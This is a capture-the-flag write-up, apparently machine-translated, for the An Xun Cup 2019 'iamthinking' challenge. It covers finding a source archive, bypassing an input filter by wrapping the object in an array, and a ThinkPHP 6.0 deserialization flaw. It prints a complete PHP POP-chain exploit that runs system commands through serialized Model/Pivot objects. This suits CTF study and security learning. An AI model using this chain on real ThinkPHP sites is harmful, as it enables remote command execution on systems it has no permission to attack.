当前位置:网站首页>[an Xun cup 2019]iamthinking
[an Xun cup 2019]iamthinking
2022-06-22 11:58:00 【nigo134】
Knowledge point :
thinkphp6.0 Deserialization vulnerability
Problem solving :

As soon as I came in, I found forbiden, Direct directory scan wave ~


Find out www.zip, Download it to start the code audit :

It's a simple one index.php controller , The code will probably mean GET Incoming payload Parameters are serialized , however payload Can't use O start , Properly consider the deserialization vulnerability ,O yes php The first character after object serialization , Since you can't O start , Then put the object into an array , This is to a Begin to bypass . The next step is to find pop Chain , Have a look first thinkphp6.0 Is there a known deserialization vulnerability .

Find out 6.0 There happens to be a deserialization vulnerability , Search anywhere on the Internet exp:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
$c = array($b);
echo urlencode(serialize($c));obtain flag:

边栏推荐
- MATLAB中cellstr函数的使用
- Vector data of Zunyi city's benchmark land price in 2022 (WGS84)
- 美团基于 Flink 的实时数仓平台建设新进展
- Kruskal reconstruction tree
- 《梦华录》成吸金王:广告主投500万排不上队,腾讯视频赢麻了?
- Foreign lead needs energy, interest, research, diligence and is indispensable
- KNN classification of MATLAB (with source code) is used to realize pixel classification (set the proportion of training set by yourself) and print test accuracy
- Wechat applet project example - image processing gadget (self-made low configuration version of Meitu XiuXiu)
- SQLMap-hh
- 配置GPU版本的pytorch和torchvision,初学GPU版本torch踩坑
猜你喜欢
随机推荐
有时候努力,并不是自己心甘情愿
Install pyGame
俞敏洪称未来可能开电商学院;马斯克儿子申请断绝父子关系;饿了么回应大量用户收到免单信息;B站上线付费视频...
Kruskal reconstruction tree
Wechat applet project example - image processing gadget (self-made low configuration version of Meitu XiuXiu)
SQLMap-hh
CF751E Phys Ed Online
【软工】 概论 & 过程和生命周期建模
奋斗吧,程序员——第四十五章 柔情似水,佳期如梦
Redis - 11、集群(Cluster)
arc128 C 凸包优化后缀和?
Realization of simple particle effect in canvas
SPI 与 API的区别
Redis - 4、新的3种数据类型
The R language uses the matchit package for propensity matching analysis and match The data function builds the matched sample set, uses the LM function to build the linear regression model for the ma
Exchange the nodes in the linked list in pairs [the principle of one-way linked list without chain]
Idr Display function obtains the summary statistical information of Poisson regression Poisson model (initial event density ratio IDR value, adjusted event density ratio IDR value and its confidence i
CF751 C. Optimal Insertion
在C#开发中使用第三方组件LambdaParser、DynamicExpresso、Z.Expressions,实现动态解析/求值字符串表达式
“不敢去怀疑代码,又不得不怀疑代码”记一次网络请求超时分析
![[2206] An Improved One millisecond Mobile Backbone](/img/75/b040f4b88050937dee57003b62f7b0.png)





![两两交换链表中的节点[单向链表不断链原则]](/img/67/8e9f3c396a8f529a616964b69cc47f.png)


